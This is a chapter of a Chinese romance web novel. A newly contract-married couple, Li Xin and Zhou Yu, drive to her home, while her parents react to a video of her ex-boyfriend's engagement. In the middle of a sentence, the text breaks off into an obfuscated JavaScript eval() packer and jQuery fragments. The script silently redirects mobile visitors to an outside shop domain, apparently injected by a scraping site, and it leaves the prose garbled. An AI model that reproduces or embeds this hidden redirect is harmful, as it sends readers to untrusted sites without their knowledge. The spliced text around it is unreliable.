周太太。
尽管周煜在呛冯曼曼时,已经用过一次“我太太”形容自己,但脱离了那个剑拔弩张的环境,没有外人在场,他霸气护妻的语气居然依旧没变。
这让栗心感觉惊讶的同时,又心头一暖。
除了父母和凌妙语,世界上从此又多了一个如此坚定地站在她这边的人,尽管他们只是暂时的盟友。
至于具体是什么样的代价,周煜没有细说,栗心也不好意思多问,兴许人家只是喊喊口号呢?
说起来,她还有些心虚:偷户口本去领证这事,还没敢告诉父母。
周煜本就话少,栗心一游神,车里又恢复了安静。
“周总,今晚是回老宅还是?”金特助从后视镜观察这对新婚燕尔良久,终于找到了开口说话的机会。
“先送她回家。”周煜撩起眼皮,将结婚证收起。
栗心也跟着检查了一下包,确认属于自己的那本结婚证还在,小声嘀咕道:“是得放好,离婚登记的时候得带上。”
就算是自认训练有素的金特助也忍不住“噗嗤”一下笑出声,虽然声音极小,但安静狭小的车厢空间还是足以让所有人都听见。
见自家老板嘴角是往下走的趋势,金特助只好闭嘴,并努力回忆出生以来最悲伤的事情,拼命压抑爱笑的天性。
周煜调整了一下坐姿,转头懒懒地望着栗心,微微挑眉:“周太太,结婚第一天就聊离婚,会不会不太吉利?”
他幽深的瞳仁里闪着名为揶揄的光,那声“周太太”叫得性感又自然。
“sorry啊。”栗心老脸一红,这才刚领证,他是怎么做到如此随意的?
但很快又腹诽道:这不就是为期一年的契约婚姻,至于这么忌讳吗?
“周总,呃……我知道你可能是想尽快适应我们的新关系,但其实,没有外人在的时候,你还是可以直接叫我的名字,这样我会比较自在一些。”栗心谨慎措辞表达着自己的意思。
同时小心觑着对方的表情,见他没有太大反应,又大胆地继续说。
“所以,从现在起,我也能直接称呼你的名字吗?”末了,她露出一个足足八颗牙的微笑,期待对方的正面回应。
周煜的胳膊搭在车门扶手处,修长的手指有一搭没一搭地轻敲着车门,似乎在思考如何回答她这个问题。
很快,他想到了:“你的父母是怎么称呼对方的?”
-
“老公——”在厨房里忙碌的栗母突然失声尖叫.
栗父听到锅铲落地的“哐当”声,鞋都来不及穿就从暗房里冲出来,隔着厨房玻璃门焦急询问:“老婆你没事吧?是锅炸了还是菜炒糊了?”
栗母唇色惨白,举着手机的手都在微微发抖。
她平时习惯将手机摆在灶台边上,一边炒菜一边刷短视频或者追剧,谁知道今天推送给她的竟然是女儿的男友的订婚宴视频。
“心心她……”
“心心的男朋友……呸!”
“你闺女被劈腿了!”
或许是情绪太激动,栗母起了好几次头都没能组织好语言,气急败坏地把手机扔给栗父,怒哼一声:“你自己看吧!”
栗父狐疑地接过手机,就看到言修正单膝跪地,拿着戒指对着一个女人深情款款地说道:“曼曼,你是我这一生都不会后悔的选择。”
上个月还殷勤地往家里跑、给自己送茶叶的小伙子,怎么转头就求娶别人了?
他到底是做过战地记者的男人,沉得住气,擦了擦眼镜,又重新戴上,仔细辨认了一下视频里的女人:“老婆,你担心过头了!这女的不就是你之前追的《玉滢传》的女主角吗?”
“我知道!为了你未来女婿的收视率,那部戏我都一集不落地追完了,可剧情是编剧写的,这求婚总没有编剧吧?”栗母没好气。
栗父上前,抱住妻子的肩膀,乐呵呵地解释道:“闺女说过,这叫什么CP营业,是为了保持剧集的热度,特意在别的节目里演出来的,虽然没有剧本,但也有台本,你就放心吧,咱家闺女这么优秀,言修这小子莫非瞎了眼不成?”
“这倒是……”栗母勉强认可丈夫对女儿的夸赞,但她到底是没全信CP营业的说法,又点了一下屏幕右上角的放大镜,查了一下相关信息,这下,她的眉头皱得更紧了。
“老公,我看事情好像没这么简单,我看网友都在说言修和这个叫冯曼曼的女演员准备领证,都有人拍到他们今天去民政局的照片了!居然还有人说我们心心是小三?不行……我得打个电话给闺女,问个清楚!”栗母气呼呼地把围裙摘了一扔,把手机从丈夫手里抢回来就开始拨号。
栗父伸手将手机屏幕遮住,继续劝阻道:“老婆老婆,你别着急!如果这是真的,闺女肯定比咱们先知道,故意瞒着咱们,不行让咱们伤心呢。你现在打电话给心心说,她还得安慰咱们,不就更难受了吗?”
或许是丈夫的话过于有理有据,栗母颓然地放下手机,靠在橱柜上抹了一下突然溢出的眼泪:“那你说,怎么办?我就这么眼睁睁地看着我闺女被人欺负,还要装作不知情陪她傻乐?”
栗父扯着袖子靠近,温柔地替老婆擦去眼角的泪,耐心哄她:“老婆,心心已经不是小孩子了,她面对情感问题肯定有自己的解决方式,咱们要做的,就是无条件地站在她身后,支持她的所有决定。”
栗母不满:“她就算七老八十了,也还是我闺女。”
“是是是,也是我闺女,是我们的宝贝疙瘩,行了吧?退一万步说,就算咱们心心真的被人劈腿了,这古话说的好,‘塞翁失马焉知非福’,说不定——是还有更好的女婿在前面等着呢?”栗父笑了,殊不知自己一语成谶。
栗母破涕为笑。
-
“我爸……就叫我妈名字啊,或者不带姓氏叫的那种;我妈……就叫我爸——孩子他爸,或者老栗。”栗心为了达到和周煜互叫名字的目的,罔顾事实,开始瞎几把编。
“是吗?”
栗心点点头:“我还能骗你不成?”
只是,此时的她还不知道,今晚撒的谎很快就会被人戳破。
宾利停在了她家小区门口,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13626990|143539||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
作势要下车。
周煜瞟了一眼车窗外的灯火:“百闻不如一见,我想亲自上门学习一下岳父岳母的相处之道。”
栗心刚推开车门的手就这么僵在了原地,她想起自己刚刚信誓旦旦撒下的谎言,讪讪转头:“这么晚,会不会有点打扰?我父母作息很规律的。”
好家伙,她母亲是全职作家兼职大学中文系客座教授,她父亲曾是战地记者,现在是自由摄影师——包括她本人在内,一家人的职业都和“作息规律”这四个字没有半毛钱关系。
今晚的她,撒谎撒的有些过分密集了。
周煜充耳不闻,迈着大长腿下了车。
栗心贼心不死,挡在他面前试图游说他打消这个拜访的念头:“而且,虽然我们是契约婚姻,但你作为女婿第一次上门两手空空,也不太好吧?”
金特助闻言,打开了宾利的车子后备箱:“周太太,这点您不必担心,周总已经提前吩咐过我了。”
栗心在心中大喊着“不会吧”,转头一看,敞开的后备箱里整整齐齐地摆放着一排包装精美的礼盒,她咬了咬下唇,继续垂死挣扎:“我觉得,你可能不太了解我父母的喜好……”
周煜微微颔首:“目前了解到的信息的确不多,你父亲是摄影记者,你母亲是作家兼教授,所以除了拜访长辈最常见的烟酒茶叶以外,我还托朋友买了一些绝版的古籍和限量版的相机,今晚见面再多了解了解岳父岳母的喜好,下次就不会这么唐突了。”
栗心拧了拧眉心,只得伸手迎客:“周总,您这边请。”
-
栗心跟不认路似的,磨蹭了好久才走到自家门口。
她伸手去按指纹解锁前还轻轻叹了口气,默默祈祷着父母当着外人的面能稍微矜持一些,不要像平时相处那样肉麻,否则她在周煜面前刚建立起来的信任就坍塌了。
“爸妈,我回来了。”栗心拉开门,先周煜一步溜进去,发现母亲正坐在沙发上追剧,父亲不在客厅,但暗房里隐隐传来动静,他大概正在冲洗胶片。
她转头示意周煜和拎着大包小包的金特助进门,还贴心地给他们一人找了一双家居拖鞋而不是鞋套。
金特助却摆摆手,把东西放在玄关处,就默默退出去了。
“妈,”栗心替周煜分担了两箱礼品,然后挽着他的手一起走进了客厅,“我想跟你和爸说件事。”
栗母看到关键剧情,正入迷着呢,并没有第一时间发现门口的动静,直到女儿和一个陌生男人突然双双闯进视线,她才吓了一跳似的大叫一声:“老公,闺女回来了!”
“妈……”栗心手里的东西掉在地上,无奈地捂着额头苦笑,敢情她提前叮嘱的微信,她妈是一点也没有看到啊。
“怎么了老婆?闺女回来不是很正常……吗?”栗父拿着刚洗好的胶片出来,看到周煜这张完全陌生的面孔,笑容凝固在嘴角,“这位是?”
随后,栗父和栗母的视线同时往下移,落在了两人因为挽着而交错的手臂处,两人对视一眼,异口同声道:“心心,原来是你把言修那小子给绿了?!”